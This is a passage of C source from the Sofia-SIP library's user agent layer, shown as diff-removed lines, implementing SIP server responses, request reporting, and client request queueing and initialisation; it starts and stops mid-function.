- * fails syntax check, or the method, SIP extension or content negotiation
- * fails.
- *
- * When the @ref nua_handlingevents "request event" is delivered to the
- * application, the application should examine the @a status parameter. The
- * @a status parameter is 200 or greater if the request has been already
- * responded automatically by the stack.
- *
- * The application can add methods that it likes to handle by itself with
- * NUTAG_APPL_METHOD(). The default set of NUTAG_APPL_METHOD() includes
- * INVITE, PUBLISH, REGISTER and SUBSCRIBE. Note that unless the method is
- * also included in the set of allowed methods with NUTAG_ALLOW(), the stack
- * will respond to the incoming methods with <i>405 Not Allowed</i>.
- *
- * In order to simplify the simple applications, most requests are responded
- * automatically. The BYE and CANCEL requests are always responded by the
- * stack. Likewise, the NOTIFY requests associated with an event
- * subscription are responded by the stack.
- *
- * Note that certain methods are rejected outside a SIP session (created
- * with INVITE transaction). They include BYE, UPDATE, PRACK and INFO. Also
- * the auxiliary methods ACK and CANCEL are rejected by the stack if there
- * is no ongoing INVITE transaction corresponding to them.
- *
- * @par Related Tags:
- *    NUTAG_WITH(), NUTAG_WITH_THIS(), NUTAG_WITH_SAVED() \n
- *    NUTAG_EARLY_ANSWER() \n
- *    SOATAG_ADDRESS() \n
- *    SOATAG_AF() \n
- *    SOATAG_HOLD() \n
- *    Tags used with nua_set_hparams() \n
- *    Header tags defined in <sofia-sip/sip_tag.h>.
- *
- * @par Events:
- *    #nua_i_state \n
- *    #nua_i_media_error \n
- *    #nua_i_error \n
- *    #nua_i_active \n
- *    #nua_i_terminated \n
- *
- * @sa #nua_i_invite, #nua_i_register, #nua_i_subscribe, #nua_i_publish
- */
-
-void
-nua_stack_respond(nua_t *nua, nua_handle_t *nh,
-		  int status, char const *phrase, tagi_t const *tags)
-{
-  nua_server_request_t *sr;
-  tagi_t const *t;
-  msg_t const *request = NULL;
-
-  t = tl_find_last(tags, nutag_with);
-
-  if (t)
-    request = (msg_t const *)t->t_value;
-
-  for (sr = nh->nh_ds->ds_sr; sr; sr = sr->sr_next) {
-    if (request && sr->sr_request.msg == request)
-      break;
-    /* nua_respond() to INVITE can be used without NUTAG_WITH() */
-    if (!t && sr->sr_method == sip_method_invite)
-      break;
-  }
-
-  if (sr == NULL) {
-    nua_stack_event(nua, nh, NULL, nua_i_error,
-		    500, "Responding to a Non-Existing Request", NULL);
-    return;
-  }
-  else if (!nua_server_request_is_pending(sr)) {
-    nua_stack_event(nua, nh, NULL, nua_i_error,
-		    500, "Already Sent Final Response", NULL);
-    return;
-  }
-  else if (sr->sr_100rel && !sr->sr_pracked && 200 <= status && status < 300) {
-    /* Save signal until we have received PRACK */
-    if (tags && nua_stack_set_params(nua, nh, nua_i_none, tags) < 0) {
-      sr->sr_application = status;
-      SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
-    }
-    else {
-      su_msg_save(sr->sr_signal, nh->nh_nua->nua_signal);
-      return;
-    }
-  }
-  else {
-    sr->sr_application = status;
-    if (tags && nua_stack_set_params(nua, nh, nua_i_none, tags) < 0)
-      SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
-    else {
-      sr->sr_status = status, sr->sr_phrase = phrase;
-    }
-  }
-
-  nua_server_params(sr, tags);
-  nua_server_respond(sr, tags);
-  nua_server_report(sr);
-}
-
-int nua_server_params(nua_server_request_t *sr, tagi_t const *tags)
-{
-  if (sr->sr_methods->sm_params)
-    return sr->sr_methods->sm_params(sr, tags);
-  return 0;
-}
-
-#undef nua_base_server_params
-
-int nua_base_server_params(nua_server_request_t *sr, tagi_t const *tags)
-{
-  return 0;
-}
-
-/** Return the response to the client.
- *
- * @retval 0 when successfully sent
- * @retval -1 upon an error
- */
-int nua_server_trespond(nua_server_request_t *sr,
-			tag_type_t tag, tag_value_t value, ...)
-{
-  int retval;
-  ta_list ta;
-  ta_start(ta, tag, value);
-  retval = nua_server_respond(sr, ta_args(ta));
-  ta_end(ta);
-  return retval;
-}
-
-/** Return the response to the client.
- *
- * @retval 0 when successfully sent
- * @retval -1 upon an error
- */
-int nua_server_respond(nua_server_request_t *sr, tagi_t const *tags)
-{
-  nua_handle_t *nh = sr->sr_owner;
-  nua_dialog_state_t *ds = nh->nh_ds;
-  sip_method_t method = sr->sr_method;
-  struct { msg_t *msg; sip_t *sip; } next = { NULL, NULL };
-  int retval, user_contact = 1;
-#if HAVE_OPEN_C
-  /* Nice. And old arm symbian compiler; see below. */
-  tagi_t next_tags[2];
-#else
-  tagi_t next_tags[2] = {{ SIPTAG_END() }, { TAG_NEXT(tags) }};
-#endif
-
-  msg_t *msg = sr->sr_response.msg;
-  sip_t *sip = sr->sr_response.sip;
-  sip_contact_t *m = sr->sr_request.sip->sip_contact;
-
-#if HAVE_OPEN_C
-  next_tags[0].t_tag   = siptag_end;
-  next_tags[0].t_value = (tag_value_t)0;
-  next_tags[1].t_tag   = tag_next;
-  next_tags[1].t_value = (tag_value_t)(tags);
-#endif
-
-  if (sr->sr_response.msg == NULL) {
-    assert(sr->sr_status == 500);
-    goto internal_error;
-  }
-
-  if (sr->sr_status < 200) {
-    next.msg = nta_incoming_create_response(sr->sr_irq, 0, NULL);
-    next.sip = sip_object(next.msg);
-    if (next.sip == NULL)
-      SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
-  }
-
-  if (nta_incoming_complete_response(sr->sr_irq, msg,
-				     sr->sr_status,
-				     sr->sr_phrase,
-				     TAG_NEXT(tags)) < 0)
-    ;
-  else if (!sip->sip_supported && NH_PGET(nh, supported) &&
-	   sip_add_dup(msg, sip, (sip_header_t *)NH_PGET(nh, supported)) < 0)
-    ;
-  else if (!sip->sip_user_agent && NH_PGET(nh, user_agent) &&
-	   sip_add_make(msg, sip, sip_user_agent_class,
-			NH_PGET(nh, user_agent)) < 0)
-    ;
-  else if (!sip->sip_organization && NH_PGET(nh, organization) &&
-	   sip_add_make(msg, sip, sip_organization_class,
-			NH_PGET(nh, organization)) < 0)
-    ;
-  else if (!sip->sip_allow && NH_PGET(nh, allow) &&
-	   sip_add_dup(msg, sip, (void *)NH_PGET(nh, allow)) < 0)
-    ;
-  else if (!sip->sip_allow_events &&
-	   NH_PGET(nh, allow_events) &&
-	   (method == sip_method_publish || method == sip_method_subscribe ||
-	    method == sip_method_options || method == sip_method_refer ||
-	    (sr->sr_initial &&
-	     (method == sip_method_invite ||
-	      method == sip_method_notify))) &&
-	   sip_add_dup(msg, sip, (void *)NH_PGET(nh, allow_events)) < 0)
-    ;
-  else if (!sip->sip_contact && sr->sr_status < 300 && sr->sr_add_contact &&
-	   (user_contact = 0,
-	    ds->ds_ltarget
-	    ? sip_add_dup(msg, sip, (sip_header_t *)ds->ds_ltarget)
-	    : nua_registration_add_contact_to_response(nh, msg, sip, NULL, m))
-	   < 0)
-    ;
-  else {
-    int term;
-    sip_contact_t *ltarget = NULL;
-
-    term = sip_response_terminates_dialog(sr->sr_status, sr->sr_method, NULL);
-
-    sr->sr_terminating = (term < 0) ? -1 : (term > 0 || sr->sr_terminating);
-
-    if (sr->sr_target_refresh && sr->sr_status < 300 && !sr->sr_terminating &&
-	user_contact && sip->sip_contact) {
-      /* Save Contact given by application */
-      ltarget = sip_contact_dup(nh->nh_home, sip->sip_contact);
-    }
-
-    retval = sr->sr_methods->sm_respond(sr, next_tags);
-
-    if (sr->sr_status < 200)
-      sr->sr_response.msg = next.msg, sr->sr_response.sip = next.sip;
-    else if (next.msg)
-      msg_destroy(next.msg);
-
-    assert(sr->sr_status >= 200 || sr->sr_response.msg);
-
-    if (ltarget) {
-      if (sr->sr_status < 300) {
-	nua_dialog_state_t *ds = nh->nh_ds;
-	msg_header_free(nh->nh_home, (msg_header_t *)ds->ds_ltarget);
-	ds->ds_ltarget = ltarget;
-      }
-      else
-	msg_header_free(nh->nh_home, (msg_header_t *)ltarget);
-    }
-
-    return retval;
-  }
-
-  if (next.msg)
-    msg_destroy(next.msg);
-
-  SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
-
-  msg_destroy(msg);
-
- internal_error:
-  sr->sr_response.msg = NULL, sr->sr_response.sip = NULL;
-  nta_incoming_treply(sr->sr_irq, sr->sr_status, sr->sr_phrase, TAG_END());
-
-  return 0;
-}
-
-/** Return the response to the client.
- *
- * @retval 0 when successfully sent
- * @retval -1 upon an error
- */
-int nua_base_server_respond(nua_server_request_t *sr, tagi_t const *tags)
-{
-  msg_t *response = sr->sr_response.msg;
-  sip_t *sip = sr->sr_response.sip;
-
-  sr->sr_response.msg = NULL, sr->sr_response.sip = NULL;
-
-  if (sr->sr_status != sip->sip_status->st_status) {
-    msg_header_remove(response, (msg_pub_t *)sip,
-		      (msg_header_t *)sip->sip_status);
-    nta_incoming_complete_response(sr->sr_irq, response,
-				   sr->sr_status,
-				   sr->sr_phrase,
-				   TAG_END());
-  }
-
-  if (sr->sr_status != sip->sip_status->st_status) {
-    msg_destroy(response);
-    SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
-    nta_incoming_treply(sr->sr_irq, sr->sr_status, sr->sr_phrase, TAG_END());
-    return 0;
-  }
-
-  return nta_incoming_mreply(sr->sr_irq, response);
-}
-
-int nua_server_report(nua_server_request_t *sr)
-{
-  if (sr)
-    return sr->sr_methods->sm_report(sr, NULL);
-  else
-    return 1;
-}
-
-int nua_base_server_treport(nua_server_request_t *sr,
-			    tag_type_t tag, tag_value_t value,
-			    ...)
-{
-  int retval;
-  ta_list ta;
-  ta_start(ta, tag, value);
-  retval = nua_base_server_report(sr, ta_args(ta));
-  ta_end(ta);
-  return retval;
-}
-
-/**Report request event to the application.
- *
- * @retval 0 request lives
- * @retval 1 request was destroyed
- * @retval 2 request and its usage was destroyed
- * @retval 3 request, all usages and dialog was destroyed
- * @retval 4 request, all usages, dialog, and handle was destroyed
- */
-int nua_base_server_report(nua_server_request_t *sr, tagi_t const *tags)
-{
-  nua_handle_t *nh = sr->sr_owner;
-  nua_t *nua = nh->nh_nua;
-  nua_dialog_usage_t *usage = sr->sr_usage;
-  int initial = sr->sr_initial;
-  int status = sr->sr_status;
-  char const *phrase = sr->sr_phrase;
-
-  int terminated;
-  int handle_can_be_terminated = initial && !sr->sr_event;
-
-  if (sr->sr_application) {
-    /* There was an error sending response */
-    if (sr->sr_application != sr->sr_status)
-      nua_stack_event(nua, nh, NULL, nua_i_error, status, phrase, tags);
-    sr->sr_application = 0;
-  }
-  else if (status < 300 && !sr->sr_event) {
-    msg_t *msg = msg_ref_create(sr->sr_request.msg);
-    nua_event_t e = sr->sr_methods->sm_event;
-    sr->sr_event = 1;
-    nua_stack_event(nua, nh, msg, e, status, phrase, tags);
-  }
-
-  if (status < 200)
-    return 0;			/* sr lives on until final response is sent */
-
-  if (sr->sr_method == sip_method_invite && status < 300)
-    return 0;			/* INVITE lives on until ACK is received */
-
-  if (initial && 300 <= status)
-    terminated = 1;
-  else if (sr->sr_terminating && status < 300)
-    terminated = 1;
-  else
-    terminated = sip_response_terminates_dialog(status, sr->sr_method, NULL);
-
-  if (usage && terminated)
-    nua_dialog_usage_remove(nh, nh->nh_ds, usage, NULL, sr);
-
-  nua_server_request_destroy(sr);
-
-  if (!terminated)
-    return 1;
-
-  if (!initial) {
-    if (terminated > 0)
-      return 2;
-
-    /* Remove all usages of the dialog */
-    nua_dialog_deinit(nh, nh->nh_ds);
-
-    return 3;
-  }
-  else if (!handle_can_be_terminated) {
-    return 3;
-  }
-  else {
-    if (nh != nh->nh_nua->nua_dhandle)
-      nh_destroy(nh->nh_nua, nh);
-
-    return 4;
-  }
-}
-
-/* ---------------------------------------------------------------------- */
-
-/**@internal
- *
- * @class nua_client_request
- *
- * Each handle has a queue of client-side requests; if a request is pending,
- * a new request from API is added to the queue. After the request is
- * complete, it is removed from the queue and destroyed by the default. The
- * exception is the client requests bound to a dialog usage: they are saved
- * and re-used when the dialog usage is refreshed (and sometimes when the
- * usage is terminated).
- *
- * The client request is subclassed and its behaviour modified using virtual
- * function table in #nua_client_methods_t.
- *
- * The first three methods (crm_template(), crm_init(), crm_send()) are
- * called when the request is sent first time.
- *
- * The crm_template() is called if a template request message is needed (for
- * example, in case of unregister, unsubscribe and unpublish, the template
- * message is taken from the request establishing the usage).
- *
- * The crm_init() is called when the template message and dialog leg has
- * been created and populated by the tags procided by the application. Its
- * parameters msg and sip are pointer to the template request message that
- * is saved in the nua_client_request::cr_msg field.
- *
- * The crm_send() is called with a copy of the template message that has
- * been populated with all the fields included in the request, including
- * @CSeq and @MaxForwards. The crm_send() function, such as
- * nua_publish_client_request(), usually calls nua_base_client_trequest() that
- * then creates the nta-level transaction.
- *
- * The response to the request is processed by crm_check_restart(), which
- * modifies and restarts the request when needed (e.g., when negotiating
- * expiration time). After the request has been suitably modified, e.g., the
- * expiration time has been increased, the restart function calls
- * nua_client_restart(), which restarts the request and relays the
- * intermediate response to the application with nua_client_restart() and
- * crm_report().
- *
- * The final responses are processed by crm_recv() and and preliminary ones
- * by crm_preliminary(). All virtual functions should call
- * nua_base_client_response() beside method-specific processing.
- *
- * The nua_base_client_response() relays the response to the application with
- * nua_client_restart() and crm_report().
- *
- * @par Terminating Dialog Usages and Dialogs
- *
- * The response is marked as terminating with nua_client_set_terminating().
- * When a terminating request completes the dialog usage is removed and the
- * dialog is destroyed (unless there is an another active usage).
- */
-static void nua_client_request_destroy(nua_client_request_t *cr);
-static int nua_client_init_request0(nua_client_request_t *cr);
-static int nua_client_request_try(nua_client_request_t *cr);
-static int nua_client_request_sendmsg(nua_client_request_t *cr,
-  				      msg_t *msg, sip_t *sip);
-static void nua_client_restart_after(su_root_magic_t *magic,
-				     su_timer_t *timer,
-				     nua_client_request_t *cr);
-
-/**Create a client request.
- *
- * @retval 0 if request is pending
- * @retval > 0 if error event has been sent
- * @retval < 0 upon an error
- */
-int nua_client_create(nua_handle_t *nh,
-		      int event,
-		      nua_client_methods_t const *methods,
-		      tagi_t const * const tags)
-{
-  su_home_t *home = nh->nh_home;
-  nua_client_request_t *cr;
-  sip_method_t method;
-  char const *name;
-
-  method = methods->crm_method, name = methods->crm_method_name;
-  if (!name) {
-    tagi_t const *t = tl_find_last(tags, nutag_method);
-    if (t)
-      name = (char const *)t->t_value;
-  }
-
-  cr = su_zalloc(home, sizeof *cr + methods->crm_extra);
-  if (!cr) {
-    return nua_stack_event(nh->nh_nua, nh,
-			   NULL,
-			   event,
-			   NUA_ERROR_AT(__FILE__, __LINE__),
-			   NULL);
-  }
-
-  cr->cr_methods = methods;
-  cr->cr_event = event;
-  cr->cr_method = method;
-  cr->cr_method_name = name;
-  cr->cr_contactize = methods->crm_flags.target_refresh;
-  cr->cr_dialog = methods->crm_flags.create_dialog;
-  cr->cr_auto = 1;
-
-  if (su_msg_is_non_null(nh->nh_nua->nua_signal)) {
-    nua_event_data_t *e = su_msg_data(nh->nh_nua->nua_signal)->ee_data;
-
-    if (tags == e->e_tags && event == e->e_event) {
-      cr->cr_auto = 0;
-
-      if (tags) {
-	nua_move_signal(cr->cr_signal, nh->nh_nua->nua_signal);
-	if (cr->cr_signal) {
-	  /* Steal reference from signal */
-	  cr->cr_owner = e->e_nh, e->e_nh = NULL;
-	  cr->cr_tags = tags;
-	}
-      }
-    }
-  }
-
-  if (cr->cr_owner == NULL)
-    cr->cr_owner = nua_handle_ref(nh);
-
-  if (tags && cr->cr_tags == NULL)
-    cr->cr_tags = tl_tlist(nh->nh_home, TAG_NEXT(tags));
-
-#if HAVE_MEMLEAK_LOG
-  SU_DEBUG_0(("%p %s() for %s\n", cr, __func__, cr->cr_methods->crm_method_name));
-#endif
-
-  if (nua_client_request_queue(cr))
-    return 0;
-
-  return nua_client_init_request(cr);
-}
-
-int nua_client_tcreate(nua_handle_t *nh,
-		       int event,
-		       nua_client_methods_t const *methods,
-		       tag_type_t tag, tag_value_t value, ...)
-{
-  int retval;
-  ta_list ta;
-  ta_start(ta, tag, value);
-  retval = nua_client_create(nh, event, methods, ta_args(ta));
-  ta_end(ta);
-  return retval;
-}
-
-#if HAVE_MEMLEAK_LOG
-nua_client_request_t *
-nua_client_request_ref_by(nua_client_request_t *cr,
-			  char const *where, unsigned line, char const *who)
-{
-  SU_DEBUG_0(("%p ref %s to %u by %s:%u: %s()\n",
-	      cr, cr->cr_methods->crm_method_name,
-	      ++(cr->cr_refs), where, line, who));
-  return cr;
-}
-
-int nua_client_request_unref_by(nua_client_request_t *cr,
-				char const *where, unsigned line, char const *who)
-{
-  SU_DEBUG_0(("%p unref %s to %u by %s:%u: %s()\n",
-	      cr, cr->cr_methods->crm_method_name,
-	      cr->cr_refs - 1, where, line, who));
-
-  if (cr->cr_refs > 1) {
-    cr->cr_refs--;
-    return 0;
-  }
-  else {
-    cr->cr_refs = 0;
-    nua_client_request_destroy(cr);
-    return 1;
-  }
-}
-#else
-nua_client_request_t *nua_client_request_ref(nua_client_request_t *cr)
-{
-  cr->cr_refs++;
-  return cr;
-}
-
-int nua_client_request_unref(nua_client_request_t *cr)
-{
-  if (cr->cr_refs > 1) {
-    cr->cr_refs--;
-    return 0;
-  }
-  else {
-    cr->cr_refs = 0;
-    nua_client_request_destroy(cr);
-    return 1;
-  }
-}
-#endif
-
-int nua_client_request_queue(nua_client_request_t *cr)
-{
-  int queued = 0;
-  nua_client_request_t **queue = &cr->cr_owner->nh_ds->ds_cr;
-
-  assert(cr->cr_prev == NULL && cr->cr_next == NULL);
-
-  cr->cr_status = 0;
-
-  nua_client_request_ref(cr);
-
-  if (cr->cr_method != sip_method_invite &&
-      cr->cr_method != sip_method_cancel) {
-    while (*queue) {
-      if ((*queue)->cr_method == sip_method_invite ||
-	  (*queue)->cr_method == sip_method_cancel)
-	break;
-      queue = &(*queue)->cr_next;
-      queued = 1;
-    }
-  }
-  else {
-    while (*queue) {
-      queue = &(*queue)->cr_next;
-      if (cr->cr_method == sip_method_invite)
-	queued = 1;
-    }
-  }
-
-  if ((cr->cr_next = *queue))
-    cr->cr_next->cr_prev = &cr->cr_next;
-
-  cr->cr_prev = queue, *queue = cr;
-
-  return queued;
-}
-
-int
-nua_client_request_remove(nua_client_request_t *cr)
-{
-  int retval = 0;
-  int in_queue = cr->cr_prev != NULL;
-
-  if (in_queue) {
-    if ((*cr->cr_prev = cr->cr_next))
-      cr->cr_next->cr_prev = cr->cr_prev;
-  }
-  cr->cr_prev = NULL, cr->cr_next = NULL;
-
-  if (cr->cr_timer) {
-    su_timer_destroy(cr->cr_timer), cr->cr_timer = NULL;
-    retval = nua_client_request_unref(cr);
-  }
-
-  if (!in_queue)
-    return retval;
-
-  return nua_client_request_unref(cr);
-}
-
-int
-nua_client_request_clean(nua_client_request_t *cr)
-{
-  if (cr->cr_orq) {
-    nta_outgoing_destroy(cr->cr_orq), cr->cr_orq = NULL, cr->cr_acked = 0;
-    return nua_client_request_unref(cr);
-  }
-  return 0;
-}
-
-static int
-nua_client_request_complete(nua_client_request_t *cr)
-{
-  if (cr->cr_orq) {
-    nua_client_request_ref(cr);
-    if (cr && cr->cr_methods->crm_complete)
-      cr->cr_methods->crm_complete(cr);
-    nua_client_request_clean(cr);
-    if (nua_client_request_unref(cr))
-      return 1;
-  }
-
-  return nua_client_request_remove(cr);
-}
-
-static void
-nua_client_request_destroy(nua_client_request_t *cr)
-{
-  nua_handle_t *nh;
-
-  if (cr == NULL)
-    return;
-
-  /* Possible references: */
-  assert(cr->cr_prev == NULL);	/* queue */
-  assert(cr->cr_orq == NULL);	/* transaction callback */
-  assert(cr->cr_timer == NULL);	/* timer callback */
-
-  nh = cr->cr_owner;
-
-  nua_destroy_signal(cr->cr_signal);
-
-  nua_client_bind(cr, NULL);
-
-#if HAVE_MEMLEAK_LOG
-  SU_DEBUG_0(("%p %s for %s\n", cr, __func__, cr->cr_methods->crm_method_name));
-#endif
-
-  if (cr->cr_msg)
-    msg_destroy(cr->cr_msg);
-  cr->cr_msg = NULL, cr->cr_sip = NULL;
-
-  if (cr->cr_orq)
-    nta_outgoing_destroy(cr->cr_orq), cr->cr_orq = NULL;
-
-  if (cr->cr_target)
-    su_free(nh->nh_home, cr->cr_target);
-
-  su_free(nh->nh_home, cr);
-
-  nua_handle_unref(nh);
-}
-
-/** Bind client request to a dialog usage */
-int nua_client_bind(nua_client_request_t *cr, nua_dialog_usage_t *du)
-{
-  assert(cr);
-  if (cr == NULL)
-    return -1;
-
-  if (du == NULL) {
-    du = cr->cr_usage;
-    cr->cr_usage = NULL;
-    if (du && du->du_cr == cr) {
-      du->du_cr = NULL;
-      nua_client_request_unref(cr);
-    }
-    return 0;
-  }
-
-  if (du->du_cr && cr == du->du_cr)
-    return 0;
-
-  if (du->du_cr) {
-    nua_client_bind(du->du_cr, NULL);
-  }
-
-  du->du_cr = nua_client_request_ref(cr), cr->cr_usage = du;
-
-  return 0;
-}
-
-/**Initialize client request for sending.
- *
- * This function is called when the request is taken from queue and sent.
- *
- * @retval 0 if request is pending
- * @retval >=1 if error event has been sent
- */
-int nua_client_init_request(nua_client_request_t *cr)
-{
-  int retval;
-  nua_client_request_ref(cr);
-  retval = nua_client_init_request0(cr);
-  nua_client_request_unref(cr);
-  return retval;
-}
-
-/**Initialize client request for sending.
- *
- * This function is called when the request is taken from queue and sent.
- *
- * @retval 0 if request is pending
- * @retval >=1 if error event has been sent
- */
-static
-int nua_client_init_request0(nua_client_request_t *cr)
-{
-  nua_handle_t *nh = cr->cr_owner;
-  nua_t *nua = nh->nh_nua;
-  nua_dialog_state_t *ds = nh->nh_ds;
-  msg_t *msg = NULL;
-  sip_t *sip;
-  url_string_t const *url = NULL;
-  tagi_t const *t;
-  int has_contact = 0;
-  int error = 0;
-
-  if (!cr->cr_method_name)
-    return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), NULL);
-
-  if (cr->cr_msg)
-    return nua_client_request_try(cr);
-
-  cr->cr_answer_recv = 0, cr->cr_offer_sent = 0;
-  cr->cr_offer_recv = 0, cr->cr_answer_sent = 0;
-  cr->cr_terminated = 0, cr->cr_graceful = 0;
-
-  nua_stack_init_handle(nua, nh, cr->cr_tags);
-
-  if (cr->cr_method == sip_method_cancel) {
-    if (cr->cr_methods->crm_init) {
-      error = cr->cr_methods->crm_init(cr, NULL, NULL, cr->cr_tags);
-      if (error)
-	return error;
-    }
-
-    if (cr->cr_methods->crm_send)
-      return cr->cr_methods->crm_send(cr, NULL, NULL, cr->cr_tags);
-    else
-      return nua_base_client_request(cr, NULL, NULL, cr->cr_tags);
-  }
-
-  if (!cr->cr_methods->crm_template ||
-      cr->cr_methods->crm_template(cr, &msg, cr->cr_tags) == 0)
-    msg = nua_client_request_template(cr);
-
-  sip = sip_object(msg);
-  if (!sip)
-    return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), msg);
-
-  if (nh->nh_tags) {
-    for (t = nh->nh_tags; t; t = t_next(t)) {
-      if (t->t_tag == siptag_contact ||
-	  t->t_tag == siptag_contact_str)
-	has_contact = 1;
-      else if (t->t_tag == nutag_url)
-	url = (url_string_t const *)t->t_value;
-    }
-  }
-
-  /**@par Populating SIP Request Message with Tagged Arguments
-   *
-   * The tagged arguments can be used to pass values for any SIP headers
-   * to the stack. When the INVITE message (or any other SIP message) is
-   * created, the tagged values saved with nua_handle() are used first,
-   * next the tagged values given with the operation (nua_invite()) are
-   * added.
-   *
-   * When multiple tags for the same header are specified, the behaviour
-   * depends on the header type. If only a single header field can be
-   * included in a SIP message, the latest non-NULL value is used, e.g.,
-   * @Subject. However, if the SIP header can consist of multiple lines or
-   * header fields separated by comma, e.g., @Accept, all the tagged
-   * values are concatenated.
-   *
-   * However, if a tag value is #SIP_NONE (-1 casted as a void pointer),
-   * the values from previous tags are ignored.
-   */
-  for (t = cr->cr_tags; t; t = t_next(t)) {
-    if (t->t_tag == siptag_contact ||
-	t->t_tag == siptag_contact_str)
-      has_contact = 1;
-    else if (t->t_tag == nutag_url)
-      url = (url_string_t const *)t->t_value;
-    else if (t->t_tag == nutag_dialog) {
-      cr->cr_dialog = t->t_value > 1;
-      cr->cr_contactize = t->t_value >= 1;
-    }
-    else if (t->t_tag == nutag_auth && t->t_value) {
-      /* XXX ignoring errors */
-      if (nh->nh_auth)
-	auc_credentials(&nh->nh_auth, nh->nh_home, (char *)t->t_value);
-    }
-  }
-
-  if (cr->cr_method == sip_method_register && url == NULL)
-    url = (url_string_t const *)NH_PGET(nh, registrar);
-
-  if ((t = cr->cr_tags)) {
-    if (sip_add_tagis(msg, sip, &t) < 0)
-      return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), msg);
-  }
-
-  /**
-   * Now, the target URI for the request needs to be determined.
-   *
-   * For initial requests, values from tags are used. If NUTAG_URL() is
-   * given, it is used as target URI. Otherwise, if SIPTAG_TO() is given,
-   * it is used as target URI. If neither is given, the complete request
-   * line already specified using SIPTAG_REQUEST() or SIPTAG_REQUEST_STR()
-   * is used. At this point, the target URI is stored in the request line,
-   * together with method name and protocol version ("SIP/2.0"). The
-   * initial dialog information is also created: @CallID, @CSeq headers
-   * are generated, if they do not exist, and a tag is added to the @From
-   * header.
-   */
-
-  if (!ds->ds_leg) {
-    if (ds->ds_remote_tag && ds->ds_remote_tag[0] &&
-	sip_to_tag(nh->nh_home, sip->sip_to, ds->ds_remote_tag) < 0)
-      return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), msg);
-
-    if (sip->sip_from == NULL &&
-	sip_add_dup(msg, sip, (sip_header_t *)nua->nua_from) < 0)
-      return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), msg);
-
-    if (sip->sip_to == NULL && cr->cr_method == sip_method_register &&
-      sip_add_dup_as(msg, sip, sip_to_class,
-		     (sip_header_t *)sip->sip_from) < 0) {
-      return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), msg);
-    }
-
-    if (cr->cr_dialog) {
-      ds->ds_leg = nta_leg_tcreate(nua->nua_nta,
-				   nua_stack_process_request, nh,
-				   SIPTAG_CALL_ID(sip->sip_call_id),
-				   SIPTAG_FROM(sip->sip_from),
-				   SIPTAG_TO(sip->sip_to),
-				   SIPTAG_CSEQ(sip->sip_cseq),
-				   TAG_END());
-      if (!ds->ds_leg)
-	return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), msg);
-
-      if (!sip->sip_from->a_tag &&
-	  sip_from_tag(msg_home(msg), sip->sip_from,
-		       nta_leg_tag(ds->ds_leg, NULL)) < 0)
-	return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), msg);
-    }
-  }
-  else {
-    if (ds->ds_route)
-      url = NULL;
-  }
-
-  if (url && nua_client_set_target(cr, (url_t *)url) < 0)
-    return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), msg);
-
-  cr->cr_has_contact = has_contact;
-
-  if (cr->cr_methods->crm_init) {
-    error = cr->cr_methods->crm_init(cr, msg, sip, cr->cr_tags);
-    if (error < -1)
-      msg = NULL;
-    if (error < 0)
-      return nua_client_return(cr, NUA_ERROR_AT(__FILE__, __LINE__), msg);
-    if (error != 0)
-      return error;
-  }
-
-  cr->cr_msg = msg;
-  cr->cr_sip = sip;
-
-  return nua_client_request_try(cr);
-}
-
-msg_t *nua_client_request_template(nua_client_request_t *cr)
-{
-  nua_handle_t *nh = cr->cr_owner;
-  nua_t *nua = nh->nh_nua;
-  nua_dialog_state_t *ds = nh->nh_ds;
-
-  msg_t *msg = nta_msg_create(nua->nua_nta, 0);
-  sip_t *sip = sip_object(msg);
-
-  if (!sip)
-    return NULL;
-
-  if (nh->nh_tags) {
-    tagi_t const *t = nh->nh_tags;
-
-    /* Use the From header from the dialog.
-       If From is set, it is always first tag in the handle */
-    if (ds->ds_leg && t->t_tag == siptag_from)
-      t++;
-
-    /* When the INVITE message (or any other SIP message) is
-     * created, the tagged values saved with nua_handle() are used first. */
-    sip_add_tagis(msg, sip, &t);
-  }
-
-  return msg;
-}
-
-
-/** Restart the request message.
- *
- * A restarted request has not been completed successfully.
- *
- * @retval 0 if request is pending
- * @retval >=1 if error event has been sent
- */
-int nua_client_restart_request(nua_client_request_t *cr,
-			      int terminating,
-			      tagi_t const *tags)
-{
-  if (cr) {
-    assert(nua_client_is_queued(cr));
-
-    if (tags && cr->cr_msg)
-      if (sip_add_tagis(cr->cr_msg, NULL, &tags) < 0)
-	/* XXX */;
-
-    nua_client_set_terminating(cr, terminating);
-
-    return nua_client_request_try(cr);
-  }
-
-  return 0;
-}
-
-/** Resend the request message.
- *
- * A resent request has completed once successfully - restarted has not.
- *
- * @retval 0 if request is pending
- * @retval >=1 if error event has been sent
- */
-int nua_client_resend_request(nua_client_request_t *cr,
-			      int terminating)
-{
-  if (cr) {
-    cr->cr_retry_count = 0;
-    cr->cr_challenged = 0;
-
-    if (nua_client_is_queued(cr)) {
-      if (terminating)
-	cr->cr_graceful = 1;
-      return 0;
-    }
-
-    if (terminating)
-      nua_client_set_terminating(cr, terminating);
-
-    if (nua_client_request_queue(cr))
-      return 0;
-    if (nua_dialog_is_reporting(cr->cr_owner->nh_ds))
-      return 0;
-    return nua_client_request_try(cr);
-  }
-  return 0;
-}
-
-
-/** Create a request message and send it.
- *
- * If an error occurs, send error event to the application.
- *
- * @retval 0 if request is pending
- * @retval >=1 if error event has been sent
- */
-static
-int nua_client_request_try(nua_client_request_t *cr)
-{
-  int error = -1;
-  msg_t *msg = msg_copy(cr->cr_msg);
-  sip_t *sip = sip_object(msg);
-
-  cr->cr_answer_recv = 0, cr->cr_offer_sent = 0;
-  cr->cr_offer_recv = 0, cr->cr_answer_sent = 0;
-
-  if (msg && sip) {
-    error = nua_client_request_sendmsg(cr, msg, sip);
-    if (!error)
-      return 0;
-
-    if (error == -1)
-      msg_destroy(msg);
-  }
-
-  if (error < 0)
